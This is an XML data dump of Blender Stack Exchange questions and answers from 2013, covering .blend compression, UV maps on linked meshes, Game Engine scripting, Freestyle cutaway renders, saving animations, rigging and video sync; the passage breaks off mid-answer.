  <row Id="2655" PostTypeId="2" ParentId="2654" CreationDate="2013-08-31T11:57:32.920" Score="2" Body="&lt;p&gt;I loaded up your syncTest01002Rev.avi file and playback wasn't in sync. Inspecting the file with ffmpeg gets the following message: &quot;&lt;em&gt;[mpeg4 @ 0x19ecc00] Invalid and inefficient vfw-avi packed B frames detected&lt;/em&gt;&quot;. Re-encoded to fix the error, when loading into blender, it had an extra frame (680) and worked without issue.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-31T11:57:32.920" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2656" PostTypeId="1" AcceptedAnswerId="2657" CreationDate="2013-08-31T15:20:20.953" Score="6" ViewCount="307" Body="&lt;p&gt;I compiled blender with Lzma on, but when I check &quot;compress file&quot; while saving, it currently compresses with gzip (zlib).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a special compile option to change it? Or can I do a save script in python that compress/decompress to/from lzma (without writing to the HDD).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on very big files and Lzma2 (tested by compressing to .xz with linux) is between 2x and 3x smaller and not much slower because multi threaded.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="12" LastEditDate="2013-09-01T02:01:06.417" LastActivityDate="2013-09-01T02:01:06.417" Title="Can I save blend files with lzma instead of gzip?" Tags="&lt;blend-files&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2657" PostTypeId="2" ParentId="2656" CreationDate="2013-08-31T17:54:04.330" Score="6" Body="&lt;p&gt;The &lt;em&gt;GZIP&lt;/em&gt; compression is currently the only compression format considered when writing or reading a &lt;code&gt;.blend&lt;/code&gt; file. A single reference to &lt;em&gt;LZMA&lt;/em&gt; in Blender's code is for compressing point-cache files, with accompanying caveat:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Effective but slow compression&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... something we wouldn't consider as primary choice, for dealing with potentially large &lt;code&gt;.blend&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your best bet is to write export/import operators, utilizing external &lt;em&gt;LZMA&lt;/em&gt; (de)compressor.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="55" LastEditDate="2013-08-31T18:53:59.857" LastActivityDate="2013-08-31T18:53:59.857" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2658" PostTypeId="2" ParentId="2656" CreationDate="2013-08-31T17:54:23.553" Score="5" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, blend file compression is currently limited to gzip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LZMA support is only for pointcache compression. If this is needed, I'd suggest looking into using a file-system that supports compression (such as &lt;a href=&quot;https://btrfs.wiki.kernel.org/index.php/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Btrfs&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-08-31T23:09:18.467" LastActivityDate="2013-08-31T23:09:18.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2659" PostTypeId="1" AcceptedAnswerId="2661" CreationDate="2013-09-01T01:16:35.333" Score="5" ViewCount="1301" Body="&lt;p&gt;How would I go about editing the UV layout of a linked object without changing the UV positions of the other linked objects? I'm trying to share the mesh geometry between dozens of objects while using different UVs on a shared TextureAtlas. Is this even possible? I've spent days trying to figure this out, but I haven't found an answer yet. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1206" LastActivityDate="2013-09-01T02:39:22.920" Title="Change UV Positions for Linked Objects?" Tags="&lt;mesh&gt;&lt;uv&gt;&lt;linked-data&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2660" PostTypeId="2" ParentId="2659" CreationDate="2013-09-01T01:37:03.857" Score="3" Body="&lt;h3&gt;Use Different UV Maps&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;It is possible. The list of UV maps is attached to &lt;code&gt;Mesh&lt;/code&gt; data, each objects sharing that same data can't have a different set of UV maps. But each object's material &lt;em&gt;can&lt;/em&gt; be attached to itself instead of its data, and its texture can use any available UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, create all UV maps to be used in the same object data (max. 8). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cLKJ2.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create different materials for each objects, set the material's &lt;code&gt;link&lt;/code&gt; property to &lt;code&gt;Object&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XgMTW.png&quot; alt=&quot;2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create a new image texture for each materials, referring to the same texture file but using different UV map. Its limitation is the amount of UV maps can be created for a single object data, 8 at maximum.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Use Different Textures&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Otherwise, why not create different texture files using the same UV map? I mean, I imagine you wouldn't vary seam placement, just shifting the whole UV coordinates around. Wouldn't that be too much work and inflexible (e.g. modifying &lt;em&gt;every single map&lt;/em&gt; when the mesh object is edited)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using one UV map as a template is easier, IMHO. And you're free to create as many texture variations as you need.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-09-01T02:12:37.227" LastActivityDate="2013-09-01T02:12:37.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2661" PostTypeId="2" ParentId="2659" CreationDate="2013-09-01T02:39:22.920" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Modify/UV_Warp&quot; rel=&quot;nofollow&quot;&gt;UV Warp modifier&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;UV Warp uses 2 objects to define a transformation which is applied to the UV coordinates.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alternatively it can be done in the material using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Mapping&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Mapping&lt;/em&gt; node&lt;/a&gt; (for BI &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Nodes/Types/Vector#Mapping_Node&quot; rel=&quot;nofollow&quot;&gt;see here&lt;/a&gt; or &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping#http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping&quot; rel=&quot;nofollow&quot;&gt;texture &lt;em&gt;Mapping&lt;/em&gt; panel&lt;/a&gt; for non node materials). Obviously &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Assigning_a_material#New_Material_Panel_Buttons&quot; rel=&quot;nofollow&quot;&gt;linking the material to the Object(s)&lt;/a&gt; will be required.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-09-01T02:39:22.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2662" PostTypeId="1" CreationDate="2013-09-01T02:42:13.557" Score="1" ViewCount="693" Body="&lt;p&gt;I'm quite new at Blender (and Python) and I have had some problems with a project I'm doing. Right now I'm having a little problem with two methods:  &lt;code&gt;aignAxisToVect&lt;/code&gt; and &lt;code&gt;applyRotation&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why, but every time I swap between the Python controller's mode (module and script) one of the two methods works and the other doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I left a link with the &lt;a href=&quot;http://alumnos.elo.utfsm.cl/~weatons/blender/%28hopefully%29planet_gravity_final.blend&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;, I commented the part that generate the problem within &lt;code&gt;PlanetaryGravity.py&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further describe the situation: I have a planet with its own orbit (and the World's gravity set to 0) and an object (Cube) that is attracted by the artificial gravity force of the planet. The Cube has a Camera parented to it and I can rotate the camera up/down/left/right with the mouse. The keys &lt;em&gt;W&lt;/em&gt;, &lt;em&gt;S&lt;/em&gt;, &lt;em&gt;A&lt;/em&gt;, &lt;em&gt;D&lt;/em&gt; are used to move the Cube over the Planet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when I use a &lt;code&gt;main()&lt;/code&gt; function to configure the Planet's gravity (within &lt;code&gt;PlanetaryGravity.py&lt;/code&gt; ), I can rotate the Camera and the Cube with the mouse and move the Cube with the keys, but the Cube doesn't get align to the perpendicular vector to the Planet (so the local axis of the Cube don't change and it's not correctly positioned onto the Planet's surface).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, when I delete the &lt;code&gt;main()&lt;/code&gt; function and use the script mode for the Python controller, the Cube's axis does get aligned correctly, but I can't rotate the Cube with the mouse (not the camera).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end it looks like the method &lt;code&gt;aignAxisToVect&lt;/code&gt; overwrites the changes made by the method &lt;code&gt;applyRotation&lt;/code&gt; when trying to rotate the Cube with the mouse. So how can I get both the axis alignment and Cube rotation to work? Additionally, why doesn't &lt;code&gt;aignAxisToVect&lt;/code&gt; work while Python controller mode is set to &lt;code&gt;Module:PlanetaryGravity.main&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1167" LastEditorUserId="743" LastEditDate="2013-12-18T00:41:27.903" LastActivityDate="2018-06-25T15:12:33.717" Title="BGE: Overlapping alignAxisToVect v/s applyRotation" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2663" PostTypeId="1" AcceptedAnswerId="2664" CreationDate="2013-09-01T06:43:51.283" Score="6" ViewCount="1876" Body="&lt;p&gt;I would like to render a cut through an object using Freestyle. Is there a neat way to cut away a part of the mesh in the rendering (not for real) without using&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The cut tool (manipulating the mesh)&lt;/li&gt;&#xA;&lt;li&gt;Cutting the mesh with the camera (placing an orthographic camera inside the mesh) but limiting view options&lt;/li&gt;&#xA;&lt;li&gt;I got the boolean modifier to work with a remesh modifier as well, making things more complicated.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I was looking for something similar to the &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; option in the viewport. Or setting up a material on another object to render the intersection part invisible but leave the rest of the mesh visible.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="12" LastEditDate="2013-09-01T15:59:30.723" LastActivityDate="2017-05-23T11:19:57.293" Title="Render a cut through a mesh" Tags="&lt;rendering&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;modifiers&gt;&lt;freestyle&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2664" PostTypeId="2" ParentId="2663" CreationDate="2013-09-01T07:29:37.597" Score="5" Body="&lt;p&gt;One way of doing this without modifying the actual mesh at all is to use a texture to define the transparency of the mesh:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/grxrI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/grxrI.png&quot; alt=&quot;example node setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create something similar to the &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; option, you could:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;UV unwrap using &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; project from view&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bMcaw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bMcaw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the UV coordinates to define the transparency of the mesh by using &lt;a href=&quot;https://blender.stackexchange.com/a/2635/599&quot;&gt;this nodegroup&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8jaY9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/V2F3C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8jaY9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8jaY9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Blender Internal:&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable &lt;em&gt;Z transparency&lt;/em&gt; in &lt;em&gt;Material settings &amp;rarr; Transparency&lt;/em&gt;, and set &lt;em&gt;alpha&lt;/em&gt; to 0:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MZpT8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MZpT8.png&quot; alt=&quot;Z transparency&quot;&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;To make the texture to affect the transparency of the material, enable &lt;em&gt;Alpha&lt;/em&gt; in &lt;em&gt;Texture settings &amp;rarr; influence&lt;/em&gt;:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/rI5ZM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rI5ZM.png&quot; alt=&quot;Texture settings&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Another way to do this is by modifying the mesh only when rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g with a boolean modifier:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/loyZL.png&quot; alt=&quot;boolean and remesh&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2013-09-04T00:59:13.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2665" PostTypeId="1" AcceptedAnswerId="2668" CreationDate="2013-09-01T10:16:41.897" Score="3" ViewCount="36041" Body="&lt;p&gt;In the following script I want to perform the loading of a DLL only once when initializing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import ctypes&#xA;import mathutils&#xA;from ctypes import *&#xA;&#xA;hmd = None&#xA;&#xA;def poll():&#xA;    if hmd is None:&#xA;        hmd = ctypes.WinDLL(&quot;C:\\Program Files\\Blender Foundation\\Blender\\2.68\\scripts\\addons\\game_engine_rift\\openhmd.dll&quot;)&#xA;    hmdPoll = hmd.poll&#xA;    hmdPoll.argtypes = ()&#xA;    hmdPoll.restype = ctypes.POINTER(ctypes.c_float)&#xA;    pos = hmdPoll()&#xA;    print(pos[0], pos[1], pos[2] ,pos[3])&#xA;    bge.logic.rotation = mathutils.Quaternion((pos[0], pos[1], pos[2], pos[3]))&#xA;&#xA;poll()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python script error - object 'Camera', controller 'Python1':&#xA;Traceback (most recent call last):&#xA;  File &quot;rift.py&quot;, line 21, in &amp;lt;module&amp;gt;&#xA;    poll()&#xA;  File &quot;rift.py&quot;, line 12, in poll&#xA;    if hmd == None:&#xA;UnboundLocalError: local variable 'hmd' referenced before assignment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="55" LastEditDate="2013-09-02T00:05:23.803" LastActivityDate="2013-09-02T23:22:30.280" Title="How can I do a one-time Initialization?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="2" ClosedDate="2019-10-05T14:08:38.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="2666" PostTypeId="1" AcceptedAnswerId="2669" CreationDate="2013-09-01T10:54:01.320" Score="3" ViewCount="266" Body="&lt;p&gt;In a &lt;a href=&quot;https://blender.stackexchange.com/questions/2665/how-can-i-do-a-one-time-initialization&quot;&gt;script&lt;/a&gt; I try to get the coordinates of a head tracker and to change the current scenes camera. The script is wired as shown in this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kYcD5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunatly the script is only called once. How can I setup the Sensor/Controller to invoke it periodically (preferably after a frame has been rendered)?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-01-12T00:53:48.210" Title="How can a Script be periodically invoked from the BGE?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2667" PostTypeId="2" ParentId="2666" CreationDate="2013-09-01T11:16:07.380" Score="6" Body="&lt;p&gt;I had to click the small button (highlighted) and set the frequency to 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option is called &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.Sensor.html#bpy.types.Sensor.use_pulse_true_level&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.types.Sensor.use_pulse_true_level&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gkCB7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-09-01T11:16:07.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2668" PostTypeId="2" ParentId="2665" CreationDate="2013-09-01T11:28:32.517" Score="4" Body="&lt;p&gt;It's because your variable &lt;code&gt;hmd&lt;/code&gt; isn't global...&lt;br&gt;&#xA;You can declare it as global, with &lt;code&gt;global hmd&lt;/code&gt; in your function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hmd = None&#xA;&#xA;def poll():&#xA;    # declare hmd as global so that the function has (write) access to the global var.&#xA;    global hmd&#xA;    if hmd is None:&#xA;        hmd = ctypes.WinDLL (&quot;C:\\Program Files\\Blender Foundation\\Blender\\2.68\\scripts\\addons\\game_engine_rift\\openhmd.dll&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or send it as parameter when your call &lt;code&gt;poll()&lt;/code&gt; (you have to declare it in the function too):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def poll(hmd):&#xA;    if hmd == None:&#xA;        # (...)&#xA;&#xA;poll(hmd)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="527" LastEditorUserId="55" LastEditDate="2013-09-01T23:51:49.293" LastActivityDate="2013-09-01T23:51:49.293" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2669" PostTypeId="2" ParentId="2666" CreationDate="2013-09-01T14:19:20.703" Score="6" Body="&lt;p&gt;You could use the delay sensor with the repeat setting checked:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6JPUJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-09-01T14:19:20.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2670" PostTypeId="1" AcceptedAnswerId="2671" CreationDate="2013-09-01T19:48:15.893" Score="6" ViewCount="6026" Body="&lt;p&gt;With the current version, I created a simple mesh with bones, and by using the Dope Sheet I created two actions. I made animations for each action. Then I exported to FBX to check in Unity3d. So I saw that Blender is good enough for my needs. Then I saved this stuff into a .blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some time later I loaded this file and saw there was only one animation. I re-created another and saved, exited Blender, and re-loaded the file. The only animation was loaded with what I exited the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is&lt;/strong&gt;: &lt;em&gt;what is the &lt;strong&gt;proper&lt;/strong&gt; way to create multiple animations&lt;/em&gt; with Blender, such that &lt;em&gt;they can be re-loaded&lt;/em&gt;. &lt;em&gt;I would like to have a separate timeline for each animation&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Script is good too, because I want this for an importer; wanted to test it before coding.)&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="12" LastEditDate="2013-09-02T00:21:24.953" LastActivityDate="2013-09-02T00:21:24.953" Title="Can multiple animations be saved in a .blend file?" Tags="&lt;animation&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2671" PostTypeId="2" ParentId="2670" CreationDate="2013-09-01T21:26:02.707" Score="4" Body="&lt;p&gt;I think your issue is that Blender is not saving the animation datablocks because there aren't any objects using them. You can protect the datablocks by &lt;a href=&quot;https://blender.stackexchange.com/q/2448/290&quot;&gt;adding a fake user&lt;/a&gt; like so:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the NLA editor&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the Action&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open your properties panel (&lt;kbd&gt;N&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the top panel (&lt;em&gt;Animation Data&lt;/em&gt;) select the action you want to protect from the dropdown.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the &lt;em&gt;F&lt;/em&gt; next to the name to give the action a fake user:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pYhNo.png&quot; alt=&quot;Animation Data panel&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Alternatively this can be done in the header of the &lt;em&gt;Dope Sheet&lt;/em&gt; editor while in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/DopeSheet#Dope_Sheet_Modes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Action Editor&lt;/em&gt; mode&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-09-01T23:28:52.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2672" PostTypeId="1" AcceptedAnswerId="2674" CreationDate="2013-09-01T21:30:28.700" Score="7" ViewCount="8445" Body="&lt;p&gt;When I apply an armature to a character (with automatic weight), my character gets a really weird bend on any parts of its body. I have rigged a character before, so I don't know how it went wrong. I've repeated the process multiple times and got the same results. I even tried exporting it as a mesh and loading it into a new blender file, but I still get the distortions. I have the blender file available, but don't know how to share it, so if you need it, tell me how. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here's the file: &lt;a href=&quot;http://pasteall.org/blend/23791&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pasteall.org/blend/23791&lt;/a&gt;. The bones are in place, but the modifiers need to be applied before applying the bones. (With automatic weights.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/l2Pyj5W.png&quot; alt=&quot;Arm bend&quot;&gt; &lt;img src=&quot;https://i.imgur.com/PH1rsFR.png&quot; alt=&quot;Leg bend&quot;&gt;. &lt;/p&gt;&#xA;" OwnerUserId="1211" LastEditorUserId="1211" LastEditDate="2013-09-01T21:43:31.240" LastActivityDate="2016-11-21T02:09:00.797" Title="Weird Armature Deformation" Tags="&lt;mesh&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2673" PostTypeId="1" AcceptedAnswerId="2922" CreationDate="2013-09-01T22:50:23.817" Score="6" ViewCount="1357" Body="&lt;p&gt;I'm composing a 2D video from two different sources, with the final product being at 30 FPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the sources was recorded at true 30 FPS, and the video &amp;amp; audio streams have the same number of frames when I add the Movie/Sound strips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other source, however, is slightly off: the audio came in at 14,726 frames and the video 14,876 frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I added a Speed Control effect attached to the video strip, and set the speed factor to 1.010 (14,876/14,726). When I &lt;em&gt;preview&lt;/em&gt; the video in Blender, the audio and video are synced up perfectly and the video looks just like the source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I &lt;em&gt;render&lt;/em&gt; the video, it ends up containing visual artifacts like jitteryness and sometimes even speedups and repeats that aren't synchronized with the audio (sorry, this is hard to describe in words). The audio track itself is fine. I thought it might be a problem with the output format, so I tried a few different ones, and found this happens even if I render to a set of images (I simulated playback using Windows Photo Gallery).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The artifacts disappear if I remove the Speed Control effect, but of course, the video &amp;amp; audio are no longer in sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong here (I'm new to Blender)? Is there any alternate method to accomplish this? I need something that works reliably and efficiently as this isn't a one-time-only project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I also found there appears to be issues doing soft cutting with the Speed Control effect -- I may be misunderstanding how to do that -- so my goal at this point is to first convert the entire video source on its own, and then do all the cutting in the final step.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender 2.68a. I tried using the latest dev build from today (same result), and also 2.57b, which not only had the rendering problem, but also didn't look right in the preview. I'm running Windows 7 x64. Here's the &lt;a href=&quot;http://jsstatic.net/Content/StackExchangeAttachments/Desktop%20Video%20&amp;amp;%20Audio%20Sync.blend&quot; rel=&quot;nofollow&quot;&gt;.blend&lt;/a&gt; file I'm using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are sample renderings of part of the video: &lt;a href=&quot;http://jsstatic.net/Content/StackExchangeAttachments/Desktop%20Video%20&amp;amp;%20Audio%20Sync3200-3908%20%28Bad%20-%202.68a%29.avi&quot; rel=&quot;nofollow&quot;&gt;from 2.68a&lt;/a&gt; and &lt;a href=&quot;http://jsstatic.net/Content/StackExchangeAttachments/Desktop%20Video%20&amp;amp;%20Audio%20Sync3200-3908%20%28Bad%20-%202.57b%29.avi&quot; rel=&quot;nofollow&quot;&gt;from 2.57b&lt;/a&gt; (each file is ~4.5 MB) -- sorry I can't upload the source as the file is over a gig, but it should be obvious from those videos what's supposed to be happening (listen to the mouse clicks). Before someone asks, yes, this also happens when I render the full video (in fact, that's how I discovered it in the first place). I was able to reproduce problems in short sample clips as well, though not as severe as those two examples.&lt;/p&gt;&#xA;" OwnerUserId="1209" LastEditorUserId="1209" LastEditDate="2013-09-04T13:19:26.627" LastActivityDate="2013-09-16T00:30:23.697" Title="How to eliminate visual artifacts in rendered output when using the Speed Control effect?" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2674" PostTypeId="2" ParentId="2672" CreationDate="2013-09-01T23:08:01.193" Score="4" Body="&lt;p&gt;While you &lt;em&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2672/weird-armature-deformation#comment4522_2674&quot;&gt;can&lt;/a&gt;&lt;/em&gt; rig with a &lt;em&gt;Mirror&lt;/em&gt; modifier on your mesh, it is best in your case here to just apply it, you won't be able to rig your character properly if it is active with your current naming scheme. You might also want to then change your &lt;em&gt;Pivot center&lt;/em&gt; from &lt;em&gt;3D Cursor&lt;/em&gt; to &lt;em&gt;Bounding Box Center&lt;/em&gt; by using &lt;kbd&gt;,&lt;/kbd&gt; &lt;em&gt;(comma)&lt;/em&gt; or selecting it from the view header, having it set to rotate around the &lt;em&gt;3D Cursor&lt;/em&gt; can also lead to some weird behaviour when trying to pose if you don't know what to expect. You might also want to recalculate your mesh normals at this point with 